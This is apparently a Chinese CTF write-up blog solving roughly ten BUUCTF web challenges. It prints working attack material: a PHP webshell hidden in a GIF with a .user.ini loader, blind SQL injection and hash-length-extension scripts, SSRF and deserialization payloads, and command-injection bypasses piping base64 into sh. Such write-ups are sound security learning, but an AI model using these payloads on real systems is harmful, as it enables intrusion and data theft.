BUUCTF-web刷题Ⅰ

BUUCTF-web刷题Ⅰ

在家圈着,有时间可以好好刷刷题了,看glzjin处处打广告,早就想把BUU的题好好刷刷了,从现在开始吧!

[强网杯 2019]高明的黑客

题目分析

进入链接之后是下图的页面:

提示我们源码在www.tar.gz中,那么我们把源码下载下来进行审计。
发现是这个压缩包包含了几千个php文件,并且每个文件里代码都不少,参数也都是乱序字母,像是经过加密的一样…

但是,经过审计代码,我们发现,很多文件中都包含了不少的GETPOST方式进行传参的代码,并且还有很多调用eval的地方,这不就是后门嘛,但是经过测试,在eval调用的参数中传入命令没有效果…
这么多文件,每个文件又是这么多参数和eval的调用,猜测是在某个文件中包含可以成功拿到shell的参数和eval调用,这么多文件,只好写脚本进行测试,来找到存在后门的文件了。

解题脚本

这里参考一个工作效率比较高的脚本:

import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100) #信号量,设置最大的线程数
filePath = r"F:/phpStudy_64/phpstudy_pro/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False

def get_content(file):
s1.acquire() #每当调用acquire()时内置计数器-1
print('trying '+file+' '+time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求,释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求,释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

这个脚本会输出存在后门的文件名和可以拿到shell的参数,我们拿到参数之后,再传参,url参数内容为cat /flag即可拿到flag。

[SUCTF 2019]CheckIn

题目分析

打开链接,是一个文件上传页面,第一反应上传图片马

结果显示<? in contents!这提示我们上传的图片马中不能包含<?,同时也得知是黑名单过滤了,那么可以利用<script language='php'><scirpt>类型的图片马来绕过过滤,和NCTF中的一道题是一样的知识点。我们构造这种图片马上传,回显如下:

提示exif_imagetype:not image!,猜测后端应该调用了php的exif_imagetype()函数,这个在图片马中添加图片文件头就可以绕过,这里添加GIF89a来绕过,上传之后回显如下:

我们看到,文件成功上传,但是现在用蚁剑链接的话,还是失败,因为传上去的带图片文件头的图片马并没有被解析,因此需要上传.htaccess文件或者.user.ini文件来解析图片马。这里服务器版本比较高不能用.htaccess来解析,那么便需要用.user.ini来解析我们上传的图片马。

.user.ini

这是一个与php配置相关的文件,可以在php手册查看对其的描述:

从官方描述中我们看到.user.ini可以支持用户配置php.ini中的PHP_INI_PERDIRPHP_INI_USER,只要是在CGI/FastCGI模式的服务器上都支持.user.ini
同时我们在官方手册关于php.ini配置选项列表的描述中看到auto_append_fileauto_prepend_file都适用在PHP_INI_PERDIR中,即可以通过.user.ini来配置它们。我们需要知道这两个配置的作用:

  • 1、auto_append_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
  • 2、auto_prepend_file:指定一个文件,自动包含在要执行的文件后,但是如果在包含之前遇到exit()函数便不会包含。
  • 它们的使用方法是直接写在.user.ini中即可,如:
auto_append_file=01.gif
auto_prepend_file=01.gif

至此,我们的解题思路就很明确了:

  • 1、构造包含GIF89a的图片马
  • 2、图片马用<script language='php'><scirpt>类型的代码
  • 3、构造.user.ini文件,其中包含我们要上传的图片马名称
  • 4、先传入.user.ini然后上传图片马
  • 5、蚁剑连接,拿flag

解题

构造图片马:

GIF89a
<script language="php">eval($_POST['x']);</script>

构造.user.ini文件

GIF89a
auto_prepend_file=xxx.jpg //注意:该处的名称要与图片马的名称相同

将构造好的文件依次上传,然后拿到文件储存的路径,这里需要说明:前面讲过了,auto_append_fileauto_prepend_file的作用是在在要执行的文件中包含我们指定的文件,在回显中我们看到,相同文件夹下还包含index.php文件,那么利用它便可以拿到shell
蚁剑连接拿flag
用蚁剑连接,在根目录即可拿到flag:

关于.user.ini文件构成的php后门还可以参考:
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

[CISCN 2019华北]HackWorld

题目分析

打开链接看到如下的输入框:

提示我们flag在flag表中的flag字段,一个SQL注入题,抓包发现输入框的值会通过参数idPOST的方式上传到服务端。
测试对输入的限制,结果如下:

id=1  Hello, glzjin wants a girlfriend.
id=1' bool(false)
id=1'+空格 SQL Injection Checked.
id=1'# SQL Injection Checked.

我们发现,当输入为1的时候回显Hello, glzjin wants a girlfriend.应该是一个正确的回显,但是输入1'回显bool(false),并且对于与注入相关的字符会回显SQL Injection Checked.,因此,判断是一个布尔盲注。
当输入的表达式为1的时候,会给出正确的回显,那么我们便可以通过在输入框构造结果为1并且逐字符地读取flag字段内容的语句便可以读出flag。

解题

可以用下面的布尔盲注脚本拿flag:

import requests
import time

url = "http://b9b3fd3f-2f40-4927-8d69-50ffc78f9a4a.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

[De1CTF 2019]SSRF Me

题目分析:

首先拿到源码,是Flask写的:

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

我们发现,代码中定义了一个task类,其中主要包括三部分:__init__()Exec()checkSign
__init__()中以用户的IP生成一个沙箱:

def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

Exec()可以执行一些操作:

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

我们可以看到,Exec()函数可以执行scan操作,对目标文件进行扫描并把结果存在result.txt中;read操作可以读取ressult.txt中的内容。同时param又是用户输入,那么通过利用param和上述两个操作,进行SSRF以拿到flag。

往下我们看到三个路由:

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt","r").read()

/geneSign路由:获得param参数,通过actionparam生成签名。并且在服务端的签名是通过action="scan"生成的,那就限制了用户执行的方法。
/De1ta路由:获取cookie中的actionparam以及签名sign,如果param合法则生成task对象,并返回执行的内容。
/路由:读取代码。

解题思路

我们从前面知道,服务端的签名已经限制为action="scan"了,因此如果我们传入的方法有read那签名值将会不同,将不能实现读取。
因此我们需要绕过sign的限制。我们可以发现getSign其实是有漏洞的:

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

即当我们输入param=flag.txtread的时候,那sign值就是包含readscan的了,也就可以实现对文件的读取了。

解题

这里有两种方法,第一种是利用SSRF,也是本题的考点,第二种是hash长度扩展攻击,看别的大佬的思路才知道的。

SSRF

首先我们在/geneSign路由中利用param=flag.txtread生成一个签名:

然后通过/De1ta路由生成服务端的签名,需要利用BP抓包改包:

这里需要注意,我们在/De1ta路由是通过GET方式传param的,但是Cookie需要我们手动加入,从下面这段代码可知:我们需要在cookie中写入actionsign

def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))

从而实现通过构造sign绕过限制实现SSRF读取服务器资源,拿到flag。

Hash长度扩展攻击

哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了H(密钥 ∥ 消息)此类构造的散列函数。MD5和SHA-1等基于Merkle–Damgård构造的算法均对此类攻击显示出脆弱性。
一般满足下面条件的情形可以进行哈希长度扩展攻击:

  • 1、准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名);
  • 2、让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文;
  • 3、服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

详细可参考:https://www.freebuf.com/articles/web/69264.html
该题中,sign的计算:

hashlib.md5(secert_key + param + action).hexdigest()

显然满足这种情况,因此可以进行哈希长度扩展攻击。
脚本如下:

import hashpumpy
import requests
import urllib.parse
txt1 = 'flag.txt'
r = requests.get('http://f335feee-943e-406b-8fc6-e5d65f709d15.node3.buuoj.cn/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)
r = requests.get('http://f335feee-943e-406b-8fc6-e5d65f709d15.node3.buuoj.cn/De1ta', params={'param': txt1}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})
print(r.text)

[网鼎杯 2018]Fakebook

题目分析

进入链接,是一个可以注册和登录的页面,这里的注册页面是以POST上传数据的,利用sqlmap测试发现有POST注入,具体方法是:

  • 1、注册用户时用BP抓包,保存POST表单的数据到文件;
  • 2、然后利用sqlmap爆库:
python sqlmap.py -r "the path of the catched file" --dump --dbs

结果如下:

这个截图中没有体现出完整的数据库信息,完整的序列化内容中包含的还有blog的地址,下面的payload中可以看到。

经过测试,在wiew.php路径下存在GET注入,这里存在报错注入,可以利用extractvalue()updatexml()进行测试,但是我在用extractvalue()进行测试时失败了,用updatexml()可以成功注入。利用extractvalue()的报错注入可参考我之前的文章RootersCTF-Babyweb-WriteUp
报错注入可参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036

进行GET注入

利用常规的手注方法,结合updatexml()以实现报错注入:

  • 1、爆库名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select database())),1)#

  • 2、爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

  • 3、爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

  • 4、爆字段
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#


我们看到,最后爆出的字段知包含了一串序列化的内容,也可以根据POST注入的结果发现,而并没有拿到flag。这里要注意,union select联合查询会被检测出,因此用\**\来绕过。
参考网上的WP发现,该题并非只考察注入,还考察了SSRF、反序列化构造file文件协议

利用File协议进行SSRF读取flag文件

御剑扫描发现robots.txtflag.php文件,并且根据前面报错注入的返回页面可见,flag.php文件是存在/var/www/html/下的。同时在robots.txt中发现了备份文件/user.php.bak,其源码如下:

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

可以发现get()函数总传参是一个url,因此猜测存在SSRF,前面我们也知道了可以利用file://协议来读取flag文件,可以构造file:///var/www/html/flag.php语句并将其作为用户的blog地址写入,最后利用联合查询和反序列化将该语句写入到数据库,payload如下:

/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

效果如下:

此时,我们写入的可以读取文件的blog地址已经奏效,查看源码可以看到一串base64的编码,解码即为读取的flag.php的内容。

[极客大挑战 2019]Havefun

目测是签到题,源码中提示:

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

简单,?cat=dog即可

[RoarCTF 2019]EasyJava

考察web.xml的泄露,Javaweb没学过…不过这个题目学到了一点:类似于题目给的Help文件下载失败的时候可以尝试改变请求方式去下载。
附上一些有关源码泄露的网站:https://blog.csdn.net/wy_97/article/details/78165051

[极客大挑战 2019]Secret File

进去题目之后看源码,发现Archive_room.php文件,点进去之后给了一个按钮,这个按钮存在302跳转,因此需要BP抓包。
抓包发现,点击时候先访问的是action.php,在改文件中看到了提示的secr3t.php文件,再查看这个文件给了源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

容易看出是文件包含,利用php伪协议读取即可:

?file=php://filter/convert.base64-encode/resource=flag.php

[GXYCTF 2019]Ping Ping Ping

根据题目提示和参数ip可知,与命令执行相关
第一步,利用|可以执行ls命令,读取内容:

?ip=127.0.0.1|ls

发现存在flag.phpindex.php文件,但是直接利用cat flag.php去读取发现空格被ban,此处考察了绕过空格被ban的方法(与linux系统命令的执行相关):

$IFS
${IFS}
$IFS$1 //$1中的数字可以更改
<
<>
{cat,flag.php}
%20
%09

通过尝试发现$IFS$1可以绕过空格
此时又提示flag被ban,绕过的方法也比较多样:

变量拼接:ip=1;a=g;cat$IFS$1fla$a.php
内联执行:ip=1;cat$IFS$1`ls` //注意这里是反单引号,命令会将反引号中的输出作为输入进行执行
利用sh/bash: ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

利用内联执行方法绕过,需要到控制台sources下查看内容,如图:

[极客大挑战 2019]PHP

一道PHP反序列化题目,主要考察了private定义字段的绕过方法。

题目分析

提示有备份文件,扫后台可以得知是www.zip,下载文件、审计源码,在class.php中发现了反序列化的代码:

<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

?>

根据代码逻辑可知,我们需要绕过wakeup()函数,这个很简单,更改序列化之后类的属性个数即可。

关于wakeup()函数:
sleep()函数相反,sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过方法:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

我们可以看到,需要绕过wakeup()函数,然后令username==adminpassword==100才能执行echo $flag,因此需要构造这两个条件,但是我们发现,这两个字段都是private定义的,绕过的时候需要更改序列化之后属性的格式:

  • 1、private属性序列化的时候格式是 %00类名%00成员名
  • 2、protected属性序列化的时候格式是 %00*%00成员名

可参考:https://www.cnblogs.com/fish-pompom/p/11126473.html
根据这些信息我们便可以构造payload。

构造payload

首先在class.php中加入下列代码,得到一个实例化对象的反序列化:

$a = new Name('admin',100);
$b=serialize($a);
echo $b;

拿到反序列化的字符串:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后我们把属性值2改成3以绕过wakeup()
最后更改两个属性名的格式如下:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最后,在index.php中我们发现GET传参select,构造最终payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

即可拿到flag。

[0CTF 2016]piapiapia

一道反序列化逃逸漏洞利用题目。

题目分析

进入题目之后是一个登录页面,尝试登录管理员,失败,也没有注册按钮…
通过扫后台发现存在www.zip文件,果断下载了,成功拿到题目源码。压缩包下包含`class.php`、`config.php`、`index.php`、`profile.php`、`register.php`、`update.php`几个有用的文件。
解题关键在于如下部位:
首先是config.php文件:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

由此可知,flag存在于该文件之下,需要想办法读取改文件内容。
同时,在profile.php文件下有与读取文件内容相关的代码:

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

可知,控制photo变量为config.php我们便可以读取到其内容。同时看到,这里存在一个反序列化的函数,初步判断解题与它相关。
update.php文件中找到了将字符串序列化的地方:

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

可以看到,此处的代码是对profile数组中的phoneemailnicknamephoto进行的序列化,序列化之后的效果如下:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:11:"123@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}

这里a:4指的是由一个数组序列化而来,并且有4个值。如果是对象的话,就是把a改成O。然后是一个键值名,一个变量值:
s:5:"phone":第一个键名,是string类型的,长度为五;s:11:"11111111111":第一个变量值,string类型,长度为11。后面的也是这个规律。这里存在我们要利用的反序列化漏洞:如果我们在这个序列化字符串的后面,再加上一些字符,后面的字符是不会被反序列化的
最后在class.php文件中还有两个需要过滤,并且对拿flag有效的正则匹配:

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这里会对我们输入的内容进行替换,比如将where替换为hacker,这对我们的解题很重要。

至此,解题思路已经很明确了,就是我们通过控制输入,将序列化之后的photo对应上config.php,通过抓包发现nickname是入手点,从前面写到的序列化的字符串也能看出来。因此在nickname后面加上";}s:5:"photo";s:10:"config.php";}就能实现,最后效果如下:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:11:"123@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}

这里就实现了photoconfig.php的对应,而括号后面的upload等不会被执行。注意这里我们看到nickname是一个数组型的,因为我们前面提到过,有对nickname的正则匹配,所有我们需要用数组来绕过。
现在的问题就是";}s:5:"photo";s:10:"config.php";}这34字符,使我们在传参的时候要手动加入到nickname数组中的,而想要打到我们的目的,就必须把它们从nickname数组中挤出去,这个时候我们前面说到的wherehacker的替换就派上用场了:我们可以在 nickname数组中写入34where,那么就替换成了34hacker,但是序列化之后的每个变量名和常量值都是有定值的,比如上面的s:5表示长度是5,所以替换之后,34个where之后紧跟的";}s:5:"photo";s:10:"config.php";}就不在属于nickname数组了,也就达到了我们的目的,部分payload如下:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

解题

我们首先先到register.php下注册个账号,登录之后更新用户的信息,这个时候通过BP抓包写入payload,然后将nickname改成nickname[],同时将我们构造好的payload写入,如图:

从响应包中,我们看到,payload已经成功打入,此时,我们上传的图片存放的路径读取的也就是config.php的内容了,此时去profile.php下打开图片的链接即可看到一串base64,解码即可拿到flag。

这道题目对反序列化漏洞的认识又进一步加深,学到了学到了。

[极客大挑战 2019]Knife

进入题目,解题方法就很明显了,提示了Knife,并且给了后门语句eval($_POST["Syc"]);,用蚁剑连接下列链接:

http://514be013-67a5-422b-ae7b-941c105e248b.node3.buuoj.cn/?Knife.php

连接密码很明显:Syc,连接即可拿flag。

[CISCN2019 华北]Dropbox

一个考察phar反序列化的问题。
相关知识参考:
https://blog.ripstech.com/2018/new-php-exploitation-technique/
https://paper.seebug.org/680/

题目分析

进入题目之后,通过注册并登录账户,发现可以上传文件,上传文件之后进入到管理面板,这个时候我们发现可以对我们的文件进行下载删除的操作:
这个地方存在可以的地方,在下载文件的时候,抓包发现,下载文件的规则很简单:

那么我们可以测试是否可以下载别的文件,通过改包利用../../xxx.php测试可行性,结果真的能下载文件:

通过下载index.php文件,我们依次下载到关键的class.phpdelete.php文件,内容如下:
class.php文件:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

我们看到,其中有多个类的定义,其中delete()函数中的unlink()引起注意,因为这个函数在处理phar文件时会将序列化的内容反序列化,这一点在前面提供的第二个链接有讲到,还提到了其他的函数,如下:

再看delete.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

其中$file->delete()时便执行了unlink()函数。

那么我们上传一个phar文件,再去删除它,此处便可以控制通过phar://执行了我们上传的phar文件,便将文件中序列化的内容反序列化了,利用这个部分,我们便可以构造phar文件,来读取flag文件了。

构造phar文件

网上找到了构造phar文件的脚本:

<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

解题

首先上传构造好的phar文件,这里需要注意:phar文件上传的时候必须伪装成image文件,通过BP抓包上传:


然后删除文件,此时抓包,然后把要删除的文件名改为phar://phar.png/exp.txt,然后即可拿到flag:

[RoarCTF 2019]Easy Calc

